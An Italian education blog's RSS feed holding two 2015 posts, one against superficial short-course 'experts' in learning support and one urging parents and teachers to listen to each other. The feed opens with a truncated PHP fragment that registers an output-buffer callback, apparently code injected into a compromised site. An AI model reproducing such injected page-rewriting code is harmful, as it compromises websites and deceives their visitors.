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'', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } insegnanti – EgoFormazione – Quelli che allenano i tuoi neuroni! https://www.egoformazione.it EgoFormazione - Quelli che allenano i tuoi neuroni! Mon, 24 Jan 2022 10:51:13 +0000 it-IT hourly 1 https://wordpress.org/?v=4.7.2 Andresti mai da un medico che ha studiato due giorni in full immersion? https://www.egoformazione.it/andresti-mai-da-un-medico-che-ha-studiato-due-giorni-in-full-immersion.html https://www.egoformazione.it/andresti-mai-da-un-medico-che-ha-studiato-due-giorni-in-full-immersion.html#respond Thu, 07 May 2015 08:42:31 +0000 https://www.egoformazione.it/?p=1949 Il ventunesimo secolo è diventato il periodo storico dei grandi esperti, durante il quale si impara tutto alla velocità della luce.

Hai letto un libro sul metodo di studio? Sei un luminare del campo!

Hai letto un libro sulla genitorialità? Ecco che diventi uno psicologo di fama mondiale.

Hai fatto un corso di 10 ore per diventare tutor sui disturbi specifici dell’apprendimento? Allora il gioco è fatto: sei diventato uno dei più grandi esperti del settore.

Nel giro di poco tempo ognuno di noi può approvvigionarsi di una serie di informazioni utilissime, ma che non possono sostituirsi all’esperienza di chi fa anni di pratica su argomenti specifici.

Ed ecco allora che all’improvviso questi nuovi grandi esperti entrano nel mondo che tanto dicono di detestare: la superficialità!

Da ormai 15 anni mi occupo di apprendimento e ho alle spalle esperienze, studi e tanta pratica. E nonostante ciò, sono ancora consapevole che non sia abbastanza! I ragazzi si evolvono, le difficoltà aumentano e quindi è necessario formarsi ancora.

Eppure viviamo nella società del “tutto e subito”, basta digitare su Google una ricerca e appaiono subito frasi che recitano più o meno così:

come dimagrire in poco tempo

addominali in poco tempo

ingrassare in poco tempo

studiare in poco tempo

perdere chili in poco tempo

pettorali in poco tempo

glutei perfetti in poco tempo

pancia piatta in poco tempo

Poco tempo. Questo sembra essere il denominatore comune che lega le persone di questa epoca:

  • i genitori hanno sempre poco tempo (così diventa più semplice fare le cose al posto dei figli, che “perdere” tempo per insegnare)
  • i ragazzi non possono mai avere tempo (ci mancherebbe, devono rispettare tabelle di marcia, tempi, modalità di altri)
  • gli insegnanti corrono dietro al programma (magari perdendo di vista l’apprendimento) per il poco tempo.

Spesso, non solo non si concede il tempo ai ragazzi di sbagliare, ma in preda al delirio del “tutto e subito”, sempre più famiglie si affidano al “fai da te” appreso in poco tempo o a sedicenti professionisti che millantano grandissimi risultati senza fatica e senza eccessivo impegno.

Mi preoccupa molto l’insorgere di questa professionalità improvvisa. Sarò retrogrado o fuori dal coro, ma il pensiero che tutti possano fare tutto mi fa rabbrividire.

Se esistesse un corso di 10 ore per diventare fruttivendolo e decidessi di farlo, non mi sentirei un fruttivendolo dopo averlo seguito. Anzi! Credo che chi esercita una professione da anni lo possa fare assolutamente meglio di me.

E allora perché pensare che fare un corso di 10 ore possa renderti esperto su un argomento anche impegnativo? Nell’apprendimento, ad esempio, possono esserci molteplici casi diversi e ognuno ha delle complessità particolari. Però, esistono seminari che promettono alle famiglie di risolvere i loro problemi in un “batter di ciglia”. Così, alla fine del seminario, avendo trovato la “cura” ed essendo diventati esperti, si sentiranno in dovere di far applicare pedissequamente ogni strategia appresa ai figli, creando, nella migliore delle ipotesi, confusione.

Con questo non voglio dire che imparare delle strategie diventi negativo, anzi!!! Il concetto fondamentale rimane aver voglia di imparare e continuare a farlo. Quello che allarma è vedere che vengono sbandierati certificati che non presuppongono una reale esperienza e conoscenza della difficoltà.

Chiedete a un genitore di un ragazzo dislessico, ad esempio, se bastano 10 ore per comprendere il problema e trovare delle strategie compensative. Vi risponderà con una risata. Attenzione, io sono a favore della leggerezza, ma non bisogna confonderla con la superficialità. La superficialità è un grande freno alla qualità della vita. Diventa incapacità di approfondire le cose che si fanno, è l’esatto contrario dello spirito critico, ovvero della volontà di capire il perché di quello che succede o si fa.

Basti pensare a come viene apprezzato un bambino quando chiede ai genitori il perché di ciò che lo circonda; paradossalmente, per pigrizia mentale, spesso un adulto tende a snobbare ogni approfondimento.

Moltissime persone fanno le cose senza chiedersi le motivazioni: “troppo faticoso chiedersi il perché”, “sarò pur libero di fare una cosa”, “mi piace e basta!”, “perché la faccio? Perché sì!”.

Sono superficiali proprio come quelli che non vogliono studiare; mentalmente sono come quelli che fisicamente trovano “troppo faticoso” fare sport.

Quindi attenti al fumo negli occhi, informatevi, studiate e soprattutto allenatevi a capire cosa veramente volete per vostro figlio o vostra figlia. Non siate schiavi della fretta, ma tenete sempre a mente quale volete che sia l’obiettivo finale. Cercate di essere un sostegno, un supporto, non una stampella.

I ragazzi vogliono dei genitori, non dei professori o degli esperti a domicilio.

“Bisogna pensare al cambiamento di valore della parola amico che si è avuta tra ieri e oggi grazie a internet, per capire come i rapporti siano diventati facili e superficiali. I nuovi rapporti vivono di un monologo e non di dialogo, che si creano e si cancellano con un clic del mouse, accolti come un momento di libertà rispetto a tutte le occasioni che offre la vita e il mondo. In realtà, tanta mancanza di impegno e la selezione delle persone come merci in un negozio è solo la ricetta per l’infelicità reciproca”. (Zygmunt Bauman)

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Genitori e insegnanti: ascoltatevi https://www.egoformazione.it/genitori-e-insegnanti-ascoltatevi.html https://www.egoformazione.it/genitori-e-insegnanti-ascoltatevi.html#respond Fri, 10 Apr 2015 13:32:39 +0000 https://www.egoformazione.it/?p=1864 Oggi vorrei affrontare un tema spinoso osservando la situazione da una posizione privilegiata, ovvero dall’esterno, dunque con meno implicazioni emotive e la giusta distanza per offrire un quadro il più lucido possibile…

C’era una volta la scuola… Un posto quasi incantato dove i bambini imparavano ad apprendere. Certo, qualcuno piangeva i primi giorni per il distacco da mamma e papà, ma poi in linea generale in quell’edificio ogni bambino ha cementato ricordi, credo, perlopiù gradevoli.

La maestra insegnava, si facevano le ricerche, si lavorava in GRUPPO e piano piano quei singoli individui diventavano parte di un insieme. Magari non si andava d’accordo con tutti, la maestra non era sempre la più simpatica, ma alla fine si percepiva di appartenere a un sistema in qualche modo protetto. Si andava in un luogo in cui si stava bene.

C’erano dei compagni di classe molto bravi, altri un po’ meno, si litigava, ma non esistevano bulli perché poi si faceva la pace. La maestra ci rimbrottava, ci metteva in punizione, tutti la riconoscevano come un’autorità da rispettare.I compagni di classe spesso erano addirittura amici! E gli stessi che si azzuffavano qualche volta, magari erano amici e sapevano chiarirsi

C’erano i genitori, che ruolo incredibile quello dei genitori! In quegli anni così lontani partecipavano alle attività della scuola, accompagnavano i bambini in piscina, andavano alle gite, organizzavano riunioni. E quando scoprivano dei litigi dei figli, li punivano. Già, non andavano a prendersela con gli altri genitori, ma rimproveravano prima i loro bambini.

E in quella scuola c’erano la maestra e i genitori. Quasi due lati della stessa medaglia per i bambini, due ruoli ben distinti, eppure così vicini. Con un denominatore comune: “se lo dicono loro allora va bene”. E quei bambini spesso non erano d’accordo con il loro insegnante e tornavano a casa dispiaciuti, dicendo a mamma e papà che la maestra non era stata corretta, che non meritavano quella punizione. Si, perché in quella scuola i voti erano una parte marginale, il comportamento era molto importante, forse perché per apprendere contava vedere cosa si sapeva e come ci si comportava, non solo che voto si prendeva.

Però i voti, anzi i giudizi in quella scuola, erano importanti. Era bello tornare a casa con un bel giudizio e con i complimenti, caspita se era bello! E quanto era bello aiutare anche chi faceva un po’ più fatica. Quanto era stimolante fare i compiti assieme nei pomeriggi, aspettando che arrivasse il momento della pausa per giocare e bere il the o la cioccolata. E in quei momenti non c’era più bravo o meno bravo, tutti avevano uno spazio. Anzi, la maestra e i genitori stimolavano a cooperare e aiutare chi aveva più difficoltà.

Se si arrivava a casa con una nota della maestra si pagava una penitenza. Poi magari i genitori potevano non essere d’accordo con la nota e andavano a chiedere spiegazioni all’insegnante, ma all’ insaputa del figlio perché l’autorità della maestra era sacra. E la stessa cosa capitava con gli allenatori: il papà non si permetteva di criticarlo, anche se magari anni dopo avrebbe ammesso che “quello lì era un’incapace”!

E gli insegnanti… Innamorati dei loro alunni, riuscivano a trasmettere passione e voglia di apprendere.

Le persone possono avere talento in tantissimi campi, gli studenti possono avere meno talenti da spendere a scuola e se sono considerati solo in base al voto e non alle capacità, si compie un errore che non porterà a nulla.

Una volta, se c’era un problema si cercava assieme una soluzione e c’era un unico motivo: il benessere dei bambini. I genitori, gli insegnanti a volte erano duri, ma c’era chiarezza dei ruoli. I bambini sapevano che non c’era chi li proteggeva a ogni costo, ma nemmeno chi li attaccava a ogni costo!

Non era il paese dei balocchi, sono passati solo 20/30 anni da quei momenti!

Ora che succede? Lo scaricabarile delle “colpe”! È  iniziata una guerra in cui è sempre colpa di qualcun altro.

“L’insegnante non fa il suo dovere” dice il genitore, “I genitori non ci sono d’aiuto” dicono gli insegnanti, “NESSUNO MI CAPISCE” dicono i ragazzi. Spero vi renderete conto che questa guerra sta intossicando le vite di una generazione di ragazzi che sta crescendo con più paure, insicurezze e meno consapevolezza di sé.

Ogni giorno vedo ragazzi DEMOLITI dalla scuola, ma non dalla scuola come istituzione, ma da tutto quello che rappresenta. Sono demoliti dai compiti a casa (tantissimi), dai genitori che li valutano in base ai voti, da una competizione assurda che si genera fin dai primi anni, per cui sembra che il voto sia la cartina tornasole del valore.

I bambini hanno il diritto di crescere, di sbagliare e gli adulti (qualunque sia il loro ruolo) hanno il compito di accompagnarli.

Il mio consiglio è: ASCOLTATEVI. Vedo gente intenta a parlare e a dire le proprie ragioni, ma quanti si fermano e ascoltano le ragioni degli altri?

Mi piacerebbe che questo articolo fosse un punto di partenza, vorrei che gli insegnanti leggessero e capissero che dietro la rabbia dei genitori c’è spesso l’idea di non essere ascoltati. Credo sia umano che ogni mamma o papà voglia solo che il proprio figlio sia tutelato o quantomeno rispettato. I genitori non ce l’hanno con gli insegnanti, al massimo sono arrabbiati per non sentirsi ascoltati dalle istituzioni. I genitori hanno paura e questa non è mai una valida consigliera, anche perché viene trasmessa ai figli.

Se ognuno parla e nessuno ascolta non si va da nessuna parte. Un accordo, un punto di contatto è l’unico modo per crescere e diventare persone migliori. Prima o poi, infatti, si smette di essere studenti e rimane la persona che nel frattempo si è costruita.

E voi.. Cosa vi ricordate della vostra scuola?

“La conoscenza che viene acquisita con l’obbligo non fa presa nella mente. Quindi non usate l’obbligo, ma lasciate che la prima educazione sia una sorta di divertimento; questo vi metterà maggiormente in grado di trovare l’inclinazione naturale del bambino.”  Platone

 

Vi lascio con questa meravigliosa scena tratta dal film “Coach Carter”

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